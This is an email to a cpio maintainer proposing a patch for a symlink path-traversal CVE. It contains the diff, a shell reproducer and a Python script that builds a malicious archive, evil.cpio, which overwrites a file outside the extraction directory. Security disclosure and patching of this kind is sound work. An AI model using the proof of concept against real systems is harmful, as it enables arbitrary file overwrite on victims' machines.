Hello Sergey,

Sending a small patch for CVE-2023-7216 (path traversal via through-symlink
extraction). The CVE has been on NVD since 2023 but the fix has not landed
upstream; Red Hat carries a distro-only mitigation.

At HEAD (3cd5140), `copyin_link` in `src/copyin.c:791-815` calls
`UMASKED_SYMLINK` directly whenever `--no-absolute-filenames` is not in
effect. The mitigation primitive `symlink_placeholder` /
`replace_symlink_placeholders` already exists in the same file but is only
reachable through the `no_abs_paths_flag` branch. Removing the gate so the
placeholder path is always taken closes the CVE without any new code.

The placeholder approach is already known to be correct under
attacker-controlled inputs:

- `symlink_placeholder` at `src/copyin.c:663-712` creates a
zero-permission regular file at the entry's path.
- `replace_symlink_placeholders` at `src/copyin.c:714-764` walks the
deferred table at the end of `process_copy_in` and atomically swaps
each placeholder for the real symlink (also applying mode/uid/gid/
mtime). It guards against substitution via `lstat` + `st_dev/st_ino`
comparison before unlinking the placeholder.

Because the placeholder is a regular file while extraction is in progress,
any later archive entry whose path traverses it (e.g. "outside/passwd"
where "outside" was a symlink entry earlier in the archive) sees ENOTDIR
on the parent component and the malicious write is refused. After
extraction completes, the placeholder is replaced with the genuine
symlink, so the on-disk result for benign archives is identical.


Reproducer (against an unpatched build of HEAD)
-----------------------------------------------

$ python3 build-poc.py # generates evil.cpio
$ mkdir -p /tmp/victim /tmp/sandbox
$ echo "ORIGINAL" > /tmp/victim/secret.txt
$ ( cd /tmp/sandbox && /path/to/built/cpio -id < evil.cpio )
$ cat /tmp/victim/secret.txt
PWNED-VIA-SYMLINK-TRAVERSAL

The minimal generator script is attached at the end of this email for
convenience.

After applying the patch, the same command sequence yields:
$ cat /tmp/victim/secret.txt
ORIGINAL


Patch
-----

Attached as
`0001-copyin-always-materialise-symlinks-via-placeholder-C.patch`
generated with `git format-patch [email protected]`. Inline copy
below for archive-grep convenience:

>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

>From b80530f7f4285c9ebb600106642cbb8594dfb61d Mon Sep 17 00:00:00 2001
From: evilgensec <[email protected]>
Date: Wed, 27 May 2026 14:52:09 +0545
Subject: [PATCH] copyin: always materialise symlinks via placeholder
(CVE-2023-7216)

Before this change, copyin_link() created the symbolic link
immediately via UMASKED_SYMLINK whenever --no-absolute-filenames was
not in effect. An archive containing a symlink entry followed by
another entry inside that symlink (e.g. "outside -> /etc" then
"outside/passwd") therefore caused the second entry to traverse the
just-created symlink and write outside the extraction tree, exactly
the pattern documented as CVE-2023-7216.

The deferred-creation primitive symlink_placeholder() / replace_symlink
_placeholders() already exists in the file and is correct under
attacker-controlled inputs: it lays down a zero-permission regular
file at extraction time and only swaps it for the real symbolic link
at the end of process_copy_in, after all archive entries have been
written. No subsequent entry can be redirected through the symlink
because at the moment its path is opened, the placeholder file is
still a regular file and open(2) on "outside/anything" fails with
ENOTDIR.

Remove the no_abs_paths_flag gate around the placeholder branch so
the safe path is always taken. The deferred replacement already
applies the requested mode, owner and timestamp, so behaviour for
benign archives is unchanged.

* src/copyin.c (copyin_link): drop the immediate-UMASKED_SYMLINK
branch and the unused res variable.

CVE: CVE-2023-7216
---
src/copyin.c | 32 ++++++--------------------------
1 file changed, 6 insertions(+), 26 deletions(-)

diff --git a/src/copyin.c b/src/copyin.c
index 7ed9474..e43c11c 100644
--- a/src/copyin.c
+++ b/src/copyin.c
@@ -767,7 +767,6 @@ static void
copyin_link (struct cpio_file_stat *file_hdr, int in_file_des)
{
char *link_name = NULL; /* Name of hard and symbolic links. */
- int res; /* Result of various function calls. */

if (archive_format != arf_tar && archive_format != arf_ustar)
{
@@ -788,31 +787,12 @@ copyin_link (struct cpio_file_stat *file_hdr, int
in_file_des)
link_name = xstrdup (file_hdr->c_tar_linkname);
}

- if (no_abs_paths_flag)
- symlink_placeholder (link_name, file_hdr->c_name, file_hdr);
- else
- {
- res = UMASKED_SYMLINK (link_name, file_hdr->c_name,
- file_hdr->c_mode);
- if (res < 0 && create_dir_flag)
- {
- create_all_directories (file_hdr->c_name);
- res = UMASKED_SYMLINK (link_name, file_hdr->c_name, file_hdr->c_mode);
- }
- if (res < 0)
- symlink_error (link_name, file_hdr->c_name);
- else if (!no_chown_flag)
- {
- uid_t uid = set_owner_flag ? set_owner : file_hdr->c_uid;
- gid_t gid = set_group_flag ? set_group : file_hdr->c_gid;
- if (lchown (file_hdr->c_name, uid, gid) < 0 && errno != EPERM)
- chown_error_details (file_hdr->c_name, uid, gid);
- }
-
- if (retain_time_flag)
- set_file_times (-1, file_hdr->c_name, file_hdr->c_mtime,
- file_hdr->c_mtime, AT_SYMLINK_NOFOLLOW);
- }
+ /* Always create symbolic links through symlink_placeholder so that
+ later archive entries cannot be redirected by a freshly-extracted
+ symlink (CVE-2023-7216). The real symlink is materialised at the
+ end of extraction by replace_symlink_placeholders, which also
+ applies the requested mode, owner and timestamp. */
+ symlink_placeholder (link_name, file_hdr->c_name, file_hdr);
free (link_name);
}

-- 
2.50.1

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<


Reproducer script (build-poc.py)
--------------------------------

#!/usr/bin/env python3
def newc_entry(name, mode, content, ino=0, mtime=1700000000):
if isinstance(content, str):
content = content.encode()
name_bytes = (name + '\0').encode()
namesize = len(name_bytes)
filesize = len(content)
header = b'070701' + b''.join(b'%08x' % v for v in (
ino, mode, 0, 0, 1, mtime, filesize, 0, 1, 0, 0, namesize, 0))
entry = header + name_bytes
entry += b'\0' * ((-len(entry)) & 3)
entry += content
entry += b'\0' * ((-len(content)) & 3)
return entry

S_IFLNK = 0o120000
S_IFREG = 0o100000

archive = newc_entry('outside', S_IFLNK | 0o777, b'/tmp/victim', ino=2)
archive += newc_entry('outside/secret.txt', S_IFREG | 0o644,
b'PWNED-VIA-SYMLINK-TRAVERSAL\n', ino=3)
archive += newc_entry('TRAILER!!!', 0, b'', ino=0)
open('evil.cpio', 'wb').write(archive)


Notes
-----

I did not run autotools locally (macOS, missing gettext); the change is
strictly to `src/copyin.c` and `git apply` against HEAD applies cleanly.
Happy to attach a full v2 with autotools regeneration if helpful.

If credit is offered on a future ChangeLog or release announcement,
please credit as "evilgensec".

Best,
evilgensec

Reply via email to